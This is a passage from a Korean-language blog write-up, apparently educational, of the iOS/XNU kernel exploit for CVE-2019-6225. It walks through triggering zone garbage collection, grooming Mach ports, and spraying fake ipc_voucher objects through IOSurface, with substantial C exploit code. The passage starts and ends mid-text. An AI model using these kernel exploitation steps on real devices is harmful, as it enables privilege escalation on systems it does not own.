   14946        5549     4K     51  C\nkalloc.96                     96        256K        307K       2730        3280        2553     8K     85  C\nkalloc.128                   128        988K       1167K       7904        9341        7855     4K     32  C\nkalloc.160                   160        176K        205K       1126        1312        1082     8K     51  C\nkalloc.192                   192        276K        307K       1472        1640        1197    12K     64  C\nkalloc.224                   224        320K        410K       1462        1874        1420    16K     73  C\nkalloc.256                   256        200K        230K        800         922         776     4K     16  C\nkalloc.288                   288        500K        512K       1777        1822        1717    20K     71  C\nkalloc.368                   368        192K        162K        534         450         493    32K     89  C\nkalloc.400                   400         80K         67K        204         172          72    20K     51  C\nkalloc.512                   512       1000K       1167K       2000        2335         596     4K      8  C\nkalloc.576                   576         20K         20K         35          36          19     4K      7  C\nkalloc.768                   768         84K         91K        112         121         101    12K     16  C\nkalloc.1024                 1024        360K        518K        360         518         350     4K      4  C\nkalloc.1152                 1152         72K         91K         64          81           5     8K      7  C\nkalloc.1280                 1280        100K        101K         80          81          23    20K     16  C\nkalloc.1664                 1664         56K         42K         34          25          25    28K     17  C\nkalloc.2048                 2048        228K        230K        114         115         112     4K      2  C\nkalloc.4096                 4096      70584K     101004K      17646       25251         213     4K      1  C\nkalloc.6144                 6144        108K        136K         18          22          16    12K      2  C\nkalloc.8192                 8192       1160K       1556K        145         194          24     8K      1  C\n...\nipc.ports                    168       1776K       8328K      10825       50761        6214    12K     73  C\n...\n**ipc.vouchers                  80          8K       1260K        102       16128          43     4K     51  C**\nipc.voucher.attr.control$     56          4K          4K         73          73           6     4K     73  C\n....\n<\/code><\/pre>\n<p>\uc5ec\uae30\uc11c \uc6b0\ub9ac\ub294 \uc5ec\ub7ec \ud06c\uae30\uc758 kalloc \uc874, ipc.ports \ub4f1\ub4f1 \ud2b9\ubcc4\ud55c \uc874\uc774 \uc874\uc7ac\ud55c\ub2e4.<\/p>\n<p><strong>ipc_voucher\ub294 ipc.vouchers \uc874\uc5d0 \uc18d\ud55c\ub2e4.<\/strong> \ud55c \ubc88 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98 \uac1d\uccb4\uc5d0 \ub300\ud55c \ub369\uae00\ub9c1 \ud3ec\uc778\ud130\ub97c \uc5bb\uc73c\uba74, \uadf8 \ubc14\uc6b0\ucc98 \uac1d\uccb4\ub97c \ub2e4\ub978 \uac83\uc73c\ub85c \uc7ac\ud560\ub2f9\ud560 \uc218 \uc788\uc73c\ub098, \uc774\ub294 \uac04\ub2e8\ud558\uc9c0 \uc54a\ub2e4. \ubc14\uc6b0\ucc98\ub294 \uc77c\ubc18\uc801\uc73c\ub85c \uc790\uccb4 \uc601\uc5ed\uc778 <code>ipc_vouchers<\/code>\uc5d0 \uc874\uc7ac\ud558\ub294\ub370, \uc774\ub294 <code>osfmk\/ipc\/ipc_voucher.c<\/code>\uc5d0\uc11c <code>zinit<\/code> \ud638\ucd9c\uc774 \ubc14\uc6b0\ucc98\ub97c \uc704\ud55c \uc0c8 \uc601\uc5ed\uc744 \ud560\ub2f9\ud558\ub294 \uac83\uc73c\ub85c \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    File: .\/osfmk\/ipc\/ipc_voucher.c\n    198: void\n    199: ipc_voucher_init(void)\n    200: {\n    201: \tnatural_t ipc_voucher_max = (task_max + thread_max) * 2;\n    202: \tnatural_t attr_manager_max = MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN;\n    203: \tiv_index_t i;\n    204: \n    205: \tipc_voucher_zone = zinit(sizeof(struct ipc_voucher),\n    206: \t\t\t\t ipc_voucher_max * sizeof(struct ipc_voucher),\n    207: \t\t\t\t sizeof(struct ipc_voucher),\n    208: \t\t\t\t &quot;ipc vouchers&quot;);\n    209: \tzone_change(ipc_voucher_zone, Z_NOENCRYPT, TRUE);\n    210: \n    211: \t\n    216: \n<\/code><\/pre>\n<p><strong>ipc.vouchers<\/strong> \uc874\uc5d0 \uc784\uc758\uc758 \ub370\uc774\ud130\ub97c \uc2a4\ud504\ub808\uc774\ud560 \uc218 \uc788\ub294 \ud568\uc218\uac00 \uc5c6\uae30 \ub54c\ubb38\uc5d0, \uba3c\uc800 \ud574\ub2f9 \ud398\uc774\uc9c0\ub97c \ud560\ub2f9\uc790\uc5d0\uac8c \ubc18\ud658\ud558\uace0, \uadf8 \ub2e4\uc74c\uc5d0 \uc774\ub97c kalloc \uc874\uc5d0 \ub2e4\uc2dc \ud560\ub2f9\ud558\uc5ec \uc2a4\ud504\ub808\uc774\ud560 \uc218 \uc788\uc5b4\uc57c \ud55c\ub2e4. \uc774\ub294 GC(\uac00\ube44\uc9c0 \uceec\ub809\uc158) \uba54\ucee4\ub2c8\uc998\uc744 \ud1b5\ud574 \uc218\ud589\ud560 \uc218 \uc788\ub2e4. GC\ub97c \ud2b8\ub9ac\uac70\ud558\uba74 \uc0ac\uc6a9\ub418\uc9c0 \uc54a\ub294 \ud398\uc774\uc9c0\uac00 \ud560\ub2f9\uc790\uc5d0\uac8c \ubc18\ud658\ub41c\ub2e4.<\/p>\n<p>\uc815\ub9ac\ud558\uc790\uba74, \ubc14\uc6b0\ucc98\uc758 \ud574\uc81c\ub41c \uba54\ubaa8\ub9ac\ub294 \ud574\ub2f9 zone\uc758 \uc790\uc720 \ubaa9\ub85d\uc5d0 \ubc30\uce58\ub418\uace0, \uc0c8 \ubc14\uc6b0\ucc98\uac00 \uc0dd\uc131\ub420 \ub54c \ub2e4\uc2dc \ud560\ub2f9\ub41c\ub2e4. \uadf8\ub7ec\ubbc0\ub85c \ub2e4\ub978 \uac1d\uccb4\ub85c \uc7ac\ud560\ub2f9\ud558\ub824\uba74, \uc720\uc77c\ud55c \uc2e4\ud604 \uac00\ub2a5\ud55c \ubc29\ubc95\uc740 zone garbage collection\uc744 \uc2dc\uc791\ud558\ub294 \uac83\uc774\ub2e4. \uc774 \uc791\uc5c5\uc740 \ubc14\uc6b0\ucc98\uc758 \ud574\uc81c\ub41c \uba54\ubaa8\ub9ac\ub97c zone map\uc5d0 \uc774\ub3d9\uc2dc\ud0a8 \ud6c4, \uadf8 \uba54\ubaa8\ub9ac\ub97c \ub2e4\ub978 \uac1d\uccb4\ub85c \uc7ac\ud560\ub2f9\ud558\ub294 \ubc29\uc2dd\uc774 \ub418\uaca0\ub2e4.<\/p>\n<p>iOS 10 \uc774\ud558\uc5d0\uc11c\ub294 \uc774 \uba54\ucee4\ub2c8\uc998\uc744 Mach \ud638\ucd9c\uc744 \ud1b5\ud574 \uc218\ud589\ud560 \uc218 \uc788\uc5c8\ub294\ub370, iOS 11\uc774\ud6c4\ubd80\ud130\ub294 \uc774 \uae30\ub2a5\uc774 \uc81c\uac70\ub418\uc5c8\uae30\uc5d0 \uc218\ub3d9\uc73c\ub85c \ub2e4\uc591\ud55c \ubc29\ubc95\uc744 \ud1b5\ud574 \ud2b8\ub9ac\uac70\ud574\uc57c \ud55c\ub2e4. Siguza\uc758 <a href=\"https:\/\/siguza.github.io\/v0rtex\/\">v0rtex \ubd84\uc11d<\/a>\uc5d0\uc11c\ub294 \uc774\ub97c \uc218\ud589\ud558\ub294 \ubc29\ubc95 \uc911 \ud558\ub098\uac00 \uacf5\uac1c\ub410\ub294\ub370 \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<blockquote>\n<p>[\u2026] \uc5ec\uc804\ud788 \ubaa8\ub4e0 \uc874\uc744 \ubc18\ubcf5\ud558\uba74\uc11c \uac01 \uc874\uc5d0\uc11c 100MB \uc815\ub3c4\ub97c \ud560\ub2f9\ud558\uace0 \uc774\ud6c4 \ud574\uc81c\ud558\ub294 \ubc29\uc2dd\uc73c\ub85c \uac00\ube44\uc9c0 \uceec\ub809\uc158\uc744 \ud2b8\ub9ac\uac70\ud560 \uc218 \uc788\uc5b4\uc57c \ud558\uba70, \uc774 \uacfc\uc815\uc5d0 \uac78\ub9ac\ub294 \uc2dc\uac04\uc744 \uce21\uc815\ud558\uba74 \uac00\ube44\uc9c0 \uceec\ub809\uc158\uc774 \uc911\uc694\ud55c \uc2a4\ud30c\uc774\ud06c\ub85c \ub098\ud0c0\ub0a0 \uac83\uc785\ub2c8\ub2e4.<\/p>\n<\/blockquote>\n<p>\ub530\ub77c\uc11c \ub2e4\uc74c \ud568\uc218\uac00 \uc0ac\uc6a9\ub41c\ub2e4. \uc5ec\uae30\uc11c\ub294 kalloc.16384 \uc874\uc5d0 \uc804\uc1a1\ub420 \uba54\uc2dc\uc9c0\ub97c \ud560\ub2f9\ud558\uace0, \uc774\ub97c <code>send_kalloc_message<\/code> \ud568\uc218\ub97c \ud1b5\ud574 256\ubc88 \uc804\uc1a1\ud558\uba70, \uac01 \uc804\uc1a1\uc5d0 \uac78\ub9ac\ub294 \uc2dc\uac04\uc744 \uae30\ub85d\ud55c\ub2e4.\n\ub9cc\uc57d \uc774 \uba54\uc2dc\uc9c0\ub4e4\uc744 \uc804\uc1a1\ud558\ub294 \ub370 2,000,0000 \ub098\ub178\ucd08(20\ubc00\ub9ac\ucd08) \uc774\uc0c1\uc774 \uac78\ub9b0\ub2e4\uba74, \uc6b0\ub9ac\ub294 GC\uac00 \ud2b8\ub9ac\uac70\ub418\uc5c8\ub2e4\uace0 \uac00\uc815\ud560 \uc218 \uc788\ub2e4. (\uac78\ub9ac\ub294 \uc2dc\uac04\uc740 \ud658\uacbd\uc5d0 \ub530\ub77c \ub2e4\ub984; iOS \uae30\uae30\uc758 \uacbd\uc6b0: 1,000,000 \ub098\ub178\ucd08(1\ubc00\ub9ac\ucd08))<\/p>\n<pre><code class=\"language-cpp\">void trigger_gc_please()\n{\n    ...\n    uint32_t body_size = message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); \/\/ 1024\n    uint8_t *body = malloc(body_size); \n    memset(body, 0x41, body_size);\n    \n    for (int i = 0; i &lt; gc_ports_cnt; i++)\n    {\n        uint64_t t0, t1;\n\n        t0 = mach_absolute_time();\n        gc_ports[i] = send_kalloc_message(body, body_size);\n        t1 = mach_absolute_time();\n        \n        if (t1 - t0 &gt; 20000000) \n        {\n            INFO(&quot;got gc at %d -- breaking, t1-t0: %llu\\n&quot;, i, t1 - t0);\n            gc_ports_max = i;\n            break;\n        }\n    }\n\n    ...\n\n    sched_yield();\n    sleep(1);\n}\n<\/code><\/pre>\n<p>GC \ud2b8\ub9ac\uac70\uac00 \uc2e4\ud328\ud558\uba74 \ud398\uc774\uc9c0\uac00 \ud574\uc81c\ub418\uc9c0 \uc54a\uc73c\uba70, \uc6b0\ub9ac\uc758 \ud799 \uc2a4\ud504\ub808\uc774\uac00 \uc2e4\ud328\ud558\uac8c \ub418\uc5b4 \uc804\uccb4 \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \uc2e4\ud328\ud55c\ub2e4. GC\ub294 \ube44\ub3d9\uae30\uc801\uc73c\ub85c \uc791\ub3d9\ud558\ubbc0\ub85c, GC\uac00 \uc644\ub8cc\ub418\uc5c8\ub294\uc9c0 \ud655\uc778\ud558\uae30 \uc704\ud574 \uc77c\uc815 \uc2dc\uac04\uc744 \uae30\ub2e4\ub824\uc57c \ud55c\ub2e4.\n\ub530\ub77c\uc11c \uc774 \ud568\uc218\uc758 \uc5d0\ud544\ub85c\uadf8\uc5d0\uc11c <code>sched_yield<\/code>\uc640 <code>sleep<\/code> \ud638\ucd9c\uc774 \ud3ec\ud568\ub418\uc5c8\ub2e4.<\/p>\n<p>GC\uc5d0\uc11c \uc911\uc694\ud55c \uc694\uc18c\ub294 \uc8fc\uc5b4\uc9c4 \ud398\uc774\uc9c0\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \uac1d\uccb4\uac00 \ud574\uc81c\ub41c \ud6c4\uc5d0\uc57c \ud398\uc774\uc9c0 \uc790\uccb4\uac00 \ud574\uc81c\ub420 \uc218 \uc788\ub2e4\ub294 \uc810\uc774\ub2e4. \uc989, \uc6b0\ub9ac\uc758 \ub300\uc0c1 UAF \ubc14\uc6b0\ucc98\uc640 \uac19\uc740 \ud398\uc774\uc9c0\uc5d0 \ud558\ub098\uc758 \ud560\ub2f9\ub3c4 \uc874\uc7ac\ud560 \uc218 \uc5c6\ub2e4\ub294 \uac83\uc774\ub2e4.\n\uc774\ub97c \ud574\uacb0\ud558\uae30 \uc704\ud574, \ub300\uc0c1 \u201cp1\u201d \uc804\uc5d0 0x2000\ubc88 \ud3ec\ud2b8\uac00 \ud560\ub2f9\ud558\uace0, \uadf8 \ud6c4\uc5d0 0x1000\ubc88 \ud3ec\ud2b8\uac00 \ucd94\uac00\ub85c \ud560\ub2f9\ud55c\ub2e4.<\/p>\n<p>\ub2e4\uc74c \ucf54\ub4dc\ub97c \ucc38\uc870\ud558\uae38 \ubc14\ub780\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">...\n    \/* create a few vouchers used to trigger the bug *\/\n    mach_voucher_attr_recipe_data_t atm_data = \n    {\n        .key = MACH_VOUCHER_ATTR_KEY_ATM,\n        .command = 510\n    };\n\n    mach_port_t p2;\n    ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;p2);\n    \n    mach_port_t p3;\n    ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;p3);\n\n    \/* allocate 0x2000 vouchers to alloc some new fresh pages *\/\n    for (int i = 0; i &lt; sizeof(before) \/ sizeof(mach_port_t); i++)\n    {\n        ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;before[i]);\n    }\n    \n    \/* alloc our target uaf voucher *\/\n    mach_port_t p1;\n    ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;p1);\n    \n    \/* allocate 0x1000 more vouchers *\/\n    for (int i = 0; i &lt; sizeof(after) \/ sizeof(mach_port_t); i++)\n    {\n        ret = host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&amp;atm_data, sizeof(atm_data), &amp;after[i]);\n    }\n\n    \/*\n        theoretically, we should now have 3 blocks of memory (roughly) as so:\n        |--------------------|-------------|------------------|\n        |     ipc ports      | target port |  more ipc ports  |\n        |--------------------|-------------|------------------| \n                             ^             ^\n                              page with only our controlled ports\n                              \n\ubc14\ub77c\uac74\ub300 \uc6b0\ub9ac\uc758 \ubaa9\ud45c \ud3ec\ud2b8\ub294 \uc774\uc81c \uc6b0\ub9ac\uac00 \uc81c\uc5b4\ud558\ub294 \ud3ec\ud2b8\ub4e4\ub9cc \ud3ec\ud568\ud558\ub294 \ud398\uc774\uc9c0\uc5d0 \ud560\ub2f9\ub418\uc5b4 \uc788\uc744 \uac83\uc774\ub2e4. \uc774\ub294 \uc6b0\ub9ac\uac00 \ubaa8\ub4e0 \ud3ec\ud2b8\ub97c \ud574\uc81c\ud560 \ub54c \ud574\ub2f9 \ud398\uc774\uc9c0\uc758 \ubaa8\ub4e0 \ud560\ub2f9\uc774 \ud574\uc81c\ub418\uace0, GC\ub97c \ud2b8\ub9ac\uac70\ud558\uba74 \uadf8 \ud398\uc774\uc9c0\uac00 ipc_ports \uc874\uc5d0\uc11c \ubc18\ud658\ub418\uc5b4 kalloc\uc5d0\uc11c \uc7ac\uc0ac\uc6a9\ub41c\ub2e4\ub294 \ub73b\uc774\ub2e4. \uc774\ub85c\uc368 IOSurface\ub97c \ud1b5\ud574 \ub2e4\ub978 kalloc \uc601\uc5ed(\uc608: kalloc.1024)\uc5d0 \uac00\uc9dc voucher\ub4e4\uc744 \uc2a4\ud504\ub808\uc774\ud560 \uc218 \uc788\uace0, \uadf8 \uacb0\uacfc voucher\uc758 \ub315\uae00\ub9c1 \ud3ec\uc778\ud130\uac00 \uc6b0\ub9ac\uc758 \ud560\ub2f9 \uc911 \ud558\ub098\uc640 \uacb9\uce58\uac8c \ub41c\ub2e4.\n    *\/\n<\/code><\/pre>\n<h3>IOSurface\ub97c \ud65c\uc6a9\ud55c \ud799 \uc2a4\ud504\ub808\uc774<\/h3>\n<p>\ubaa8\ub4e0 \uac83\uc774 \uacc4\ud68d\ub300\ub85c \uc9c4\ud589\ub418\uc5c8\ub2e4\uba74, \uc774 \uc2dc\uc810\uc5d0\uc11c GC\uac00 \ud2b8\ub9ac\uac70\ub418\uc5b4 \ud398\uc774\uc9c0\uac00 \ud560\ub2f9 \ud480\ub85c \ubc18\ud658\ub420 \uac83\uc774\ub2e4.\n\uadf8\ub7f0 \ub2e4\uc74c \uc6b0\ub9ac\ub294 \uac00\uc9dc \ubc14\uc6b0\ucc98\ub97c \ucee4\ub110\ub85c \uc804\uc1a1\ud558\uace0 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \uad50\uccb4\ud558\uae30 \uc704\ud574 \ud799 \uc2a4\ud504\ub808\uc774\ub97c \uacc4\uc18d \uc9c4\ud589\ud560 \uc218 \uc788\ub2e4. \uc774\ub97c \uc704\ud574 \u201cIOSurface\u201d kext(\ucee4\ub110 \ud655\uc7a5)\uc5d0\uc11c \uad6c\ud604\ub41c IOKit UserClient\ub97c \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.  IOKit\uc740 \ub4dc\ub77c\uc774\ubc84\uc640 \ud655\uc7a5\uc744 \ucc98\ub9ac\ud558\ub294 \ucee4\ub110 \uc778\ud130\ud398\uc774\uc2a4\uc774\uba70, UserClient\ub294 \uc0ac\uc6a9\uc790\uac00 \ucee4\ub110 \ud655\uc7a5\uc5d0 \uba85\ub839\uc744 \ubcf4\ub0bc \uc218 \uc788\ub3c4\ub85d \ud558\ub294 \uac1d\uccb4\uc774\ub2e4. IOSurface\ub294 \uadf8\ub798\ud53d \ubc84\ud37c\uc758 \ucc98\ub9ac \ubc0f \uacc4\uc0b0\uc744 \uc704\ud55c kext\uc774\uc9c0\ub9cc, \ub450 \uac00\uc9c0 \uc774\uc720\ub85c \uc778\ud574 \uc6b0\ub9ac\uc5d0\uac8c \ud6cc\ub96d\ud55c \ud799 \uc2a4\ud504\ub808\uc774 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc81c\uacf5\ud55c\ub2e4.<\/p>\n<p>\uccab\uc9f8, IOSurface(\ud2b9\ud788 \u201cset value\u201d \uba54\uc11c\ub4dc)\ub294 \ubc30\uc5f4(OSArray), \ub515\uc154\ub108\ub9ac(OSDictionary), \ubb38\uc790\uc5f4(OSString) \ub4f1\uacfc \uac19\uc740 \uac1d\uccb4\ub97c \ud3ec\ud568\ud558\ub294 \uc778\ucf54\ub529\ub41c plist(\uc18d\uc131 \ubaa9\ub85d)\ub97c \uc81c\uacf5\ud560 \uc218 \uc788\uac8c \ud574\uc900\ub514. \uc774 \uac1d\uccb4\ub4e4 \uc548\uc5d0 \uc6b0\ub9ac\ub294 \uc644\uc804\ud788 \uc784\uc758\uc758 \ub370\uc774\ud130\ub97c \ub123\uc744 \uc218 \uc788\ub2e4(\uc608: \uc911\ucca9\ub41c \ud0c0\uc785, \uc989 \ubc30\uc5f4 \uc548\uc5d0 \ub515\uc154\ub108\ub9ac).<\/p>\n<p>\ub458\uc9f8, IOSurface UserClient\ub294 \uc571 \uc0cc\ub4dc\ubc15\uc2a4\uc5d0\uc11c \uc811\uadfc \uac00\ub2a5\ud558\uba70, \uad8c\ud55c \ubd80\uc5ec\ub098 \uad8c\ud55c \uac80\uc0ac \ub610\ub294 \uc0cc\ub4dc\ubc15\uc2a4\uc5d0\uc11c\uc758 \ucc28\ub2e8\uc774 \uc5c6\ub2e4. \ub370\uc774\ud130\ub97c \uc2a4\ud504\ub808\uc774\ud558\uae30 \uc704\ud574, \uc6b0\ub9ac\ub294 OSString\uc73c\ub85c \uad6c\uc131\ub41c \uc11c\ud398\uc774\uc2a4(surface)\ub97c \ub9cc\ub4e4 \uc218 \uc788\ub2e4. \ud558\ub098\uc758 \uc11c\ud398\uc774\uc2a4(surface)\ub97c \uc124\uc815\ud55c \ud6c4, \ud558\ub098\uc758 OSString\uc744 \uc2a4\ud504\ub808\uc774\ud558\ub824\ub294 \ud56d\ubaa9\uc73c\ub85c \ud3ec\ud568\ud558\ub294 \ub515\uc154\ub108\ub9ac\uac00 \ud3ec\ud568\ub41c \ubc30\uc5f4\uc744 \uc0ac\uc6a9\ud55c\ub2e4. OSString\uc740 \ud06c\uae30\uac00 \uc5bc\ub9c8\ub4e0\uc9c0 \ub420 \uc218 \uc788\uc9c0\ub9cc, \uc6b0\ub9ac\ub294 \uc804\uccb4 \ud398\uc774\uc9c0 \ud06c\uae30\ub9cc\ud07c \ub370\uc774\ud130\ub97c \ucc44\uc6b0\uace0\uc790 \ud55c\ub2e4. 4k \uc7a5\uce58\uc5d0\uc11c\ub294 \ud398\uc774\uc9c0 \ud06c\uae30\uac00 0x1000(4096)\uc774\uace0, 16k \uc7a5\uce58\uc5d0\uc11c\ub294 0x4000(16,384)\uc774\ub2e4. OSString\uc758 \u201c\ubb38\uc790\uc5f4\u201d \ubd80\ubd84 \ub54c\ubb38\uc5d0, \uc6b0\ub9ac\uc758 \ub370\uc774\ud130\ub294 NULL \ubc14\uc774\ud2b8\ub85c \uc885\ub8cc\ub418\uc5b4\uc57c \ud558\ubbc0\ub85c, \ud06c\uae30 \uacc4\uc0b0 \uc2dc \uc774\ub97c \uace0\ub824\ud574\uc57c \ud55c\ub2e4.<\/p>\n<p>\uc544\ub798 \ucf54\ub4dc\ub294  OSUnserializeBinary XML Spraying \uc6d0\ub9ac\ub97c \uc774\uc6a9\ud558\uc5ec \uc11c\ud398\uc774\uc2a4\uc5d0 \uc124\uc815\ub420 \ub370\uc774\ud130(\ub530\ub77c\uc11c \ucee4\ub110 \uba54\ubaa8\ub9ac\uc5d0 \uc2a4\ud504\ub808\uc774\ub420 \ub370\uc774\ud130)\ub97c \uc124\uc815\ud558\uba70, bcopy \ub8e8\ud504\ub294 \uac01 OSString\uc5d0 \uac00\uc9dc ipc_vouchers\ub97c \ucc44\uc6b4\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int main(int argc, char *argv[], char *envp[]) {\n\t\tIOSurface_init();\n...\n    \/* set up our IOSurface data for spraying *\/\n#define FILL_MEMSIZE 0x4000000\n    int spray_qty = FILL_MEMSIZE \/ pagesize; \/* # of pages to spray *\/ \n    \n    int spray_size = (5 * sizeof(uint32_t)) + (spray_qty * ((4 * sizeof(uint32_t)) + pagesize));\n    uint32_t *spray_data = malloc(spray_size); \/\/ header + (spray_qty * (item_header + pgsize))\n\n    build_IOSurface_spray_data(&amp;fake_voucher, sizeof(fake_ipc_voucher_t), spray_qty, spray_data, spray_size);\n    ...\n}\n\n\/\/iosurface.c\nint build_IOSurface_spray_data(void *data, size_t size, int spray_qty, uint32_t *spray_data, int spray_size) {\n    \/* set up our IOSurface data for spraying *\/\n    bzero((void *)spray_data, spray_size);\n    \n    uint32_t *spray_cur = spray_data;\n    \n   \/*\n        +-&gt; Surface\n          +-&gt; Array\n            +-&gt; Dictionary\n              +-&gt; OSString \n              +-&gt; OSString\n              +-&gt; OSString \n                etc (spray_qty times)...\n   *\/\n\n    *(spray_cur++) = IOSurface_id;\n    *(spray_cur++) = 0x0;\n    *(spray_cur++) = kOSSerializeMagic;\n    *(spray_cur++) = kOSSerializeEndCollection | kOSSerializeArray | 1;\n    *(spray_cur++) = kOSSerializeEndCollection | kOSSerializeDictionary | spray_qty;\n    for (int i = 0; i &lt; spray_qty; i++)\n    {\n        *(spray_cur++) = kOSSerializeSymbol | 5;\n        *(spray_cur++) = transpose(i);\n        *(spray_cur++) = 0x0;\n        *(spray_cur++) = (i + 1 &gt;= spray_qty ? kOSSerializeEndCollection : 0) | kOSSerializeString | (pagesize - 1);\n        \n        for (uintptr_t ptr = (uintptr_t)spray_cur, end = ptr + pagesize; \n             ptr + size &lt;= end; \n             ptr += size)\n        {\n            bcopy((const void *)data, (void *)ptr, size);\n        }\n        \n        spray_cur += (pagesize \/ sizeof(uint32_t));\n    }\n\n    return 0;\n}\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%203.png\" alt=\"image.png\"><\/p>\n<p>\uadf8\ub7f0 \ub2e4\uc74c \uc0ac\uc6a9\uc790 \ud074\ub77c\uc774\uc5b8\ud2b8\uc5d0 \ud638\ucd9c\ud558\uc5ec \uc81c\uacf5\ub41c \ub370\uc774\ud130\ub97c Surface\uc5d0 \uc124\uc815\ud560 \uc218 \uc788\ub2e4:<\/p>\n<pre><code class=\"language-cpp\">...\n    trigger_gc_please(); \n\n    ret = IOSurface_set_value(spray_data, spray_size);\n    INFO(&quot;IOSurface_set_value ret: %d\\n&quot;, ret);\n    if(ret == false) exit(1);\n...\n<\/code><\/pre>\n<p>\uc774 \uc791\uc5c5\uc774 \uc81c\ub300\ub85c \uc9c4\ud589\ub418\uc5c8\ub2e4\uba74, \ud574\uc81c\ub41c ipc_voucher\ub294 \uc774\uc81c \uc6b0\ub9ac\uc758 \uac00\uc9dc \ubc14\uc6b0\ucc98\ub85c \uad50\uccb4\ub418\uc5c8\uace0, \uc6b0\ub9ac\ub294 \uc774\ub97c \ud799 \uc2a4\ud504\ub808\uc774\ub97c \ud1b5\ud574 \ucee4\ub110 \uba54\ubaa8\ub9ac\uc5d0 \ubcf5\uc0ac\ud55c \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) p *(ipc_voucher_t)0xffffff8011049c80\n(ipc_voucher) $1 = {\n  iv_hash = 0\n  iv_sum = 0\n  iv_refs = (ref_count = 100)\n  iv_table_size = 0\n  iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n  iv_table = 0x0000000000000000\n  iv_port = nullptr\n  iv_hash_link = {\n    next = nullptr\n    prev = nullptr\n  }\n}\n<\/code><\/pre>\n<p>\uc774\ub294 \uc774\uc81c \uc6b0\ub9ac\uc758 \uc2a4\ub808\ub4dc\uc5d0 \uc800\uc7a5\ub41c \ud3ec\ud2b8\uac00 \uac00\uc9dc <code>ipc_voucher<\/code>\ub97c \uac00\ub9ac\ud0a4\uac8c \ub418\uba70, \uadf8 \uac00\uc9dc <code>ipc_voucher<\/code>\ub294 \uc0ac\uc6a9\uc790 \uc601\uc5ed\uc5d0 \ud560\ub2f9\ub41c <code>fakeport<\/code>\ub97c \uac00\ub9ac\ud0a4\uac8c \ub41c\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<p>\uc774\uc81c <code>thread_get_mach_voucher<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ubc14\uc6b0\ucc98\/\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \uc5bb\uc73c\ub824\uace0 \ud55c\ub2e4.<\/p>\n<p>\uc774\uc804\uc5d0 \uc6b0\ub9ac\ub294 \ub300\uc0c1 \u201cp1\u201d \uc804\uc5d0 0x2000\ubc88 \ud3ec\ud2b8\uac00 \ud560\ub2f9\ub418\uace0, \uadf8 \ud6c4\uc5d0 0x1000\ubc88 \ud3ec\ud2b8\uac00 \ucd94\uac00\ub85c \ud560\ub2f9\ud588\ub2e4.\n\ub530\ub77c\uc11c \ucc98\uc74c\uc5d0 preport[0x1000]\uc5d0 MACH_PORT_RIGHT_RECEIVE \uad8c\ud55c\uc73c\ub85c IPC space\uc5d0\uc11c \uc0c8\ub85c\uc6b4 Mach \ud3ec\ud2b8 \uc774\ub984\uc744 \ud560\ub2f9\ud558\uace0,\n<strong><code>thread_get_mach_voucher<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ubc14\uc6b0\ucc98\/\ud3ec\ud2b8\uc5d0 \ub300\ud55c \ud578\ub4e4\uc744 \uc5bb\uc740 \ub2e4\uc74c,<\/strong>\n\ub2e4\uc2dc\ud55c\ubc88 \uac19\uc740 \uad8c\ud55c\uc73c\ub85c postport[0x2000]\uc5d0 Mach \ud3ec\ud2b8 \uc774\ub984\uc744 \ud560\ub2f9\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">    mach_port_t real_port_to_fake_voucher = MACH_PORT_NULL;\n\n    \/* \n        alloc'ing ports either side of the kport_t that thread_get_mach_voucher \n        creates will give us much better success rate for guessing the \n        heap address of our pipe buffer-based port \n\n        someone once said iOS's heap randomization was weak\n                            i didn't listen\n            then i realised\n                    iOS's heap randomization is weak\n                                                    ...i should've listened\n    *\/  \n\n    for (int i = 0; i &lt; sizeof(preport) \/ sizeof(mach_port_t); i++)\n    {\n        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;preport[i]);\n    }\n\n    \/* fingers crossed we get a userland handle onto our 'fakeport' object *\/\n    \/\/printf(&quot;pauseing...\\n&quot;);\n    \/\/getchar();\n    ret = thread_get_mach_voucher(mach_thread_self(), 0, &amp;real_port_to_fake_voucher);\n    INFO(&quot;port: 0x%x\\n&quot;, real_port_to_fake_voucher);\n\n    \/\/printf(&quot;thread_get_mach_voucher called, port printed...\\n&quot;);\n    \/\/getchar();\n\n    for (int i = 0; i &lt; sizeof(postport) \/ sizeof(mach_port_t); i++)\n    { \n        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;postport[i]);\n    }\n<\/code><\/pre>\n<p>\ud578\ub4e4\uc744 \uc5bb\uc5b4\uc624\ub294\ub370 \uc131\uacf5\ud588\ub2e4\uba74, ipc_voucher\uc5d0 \ud799 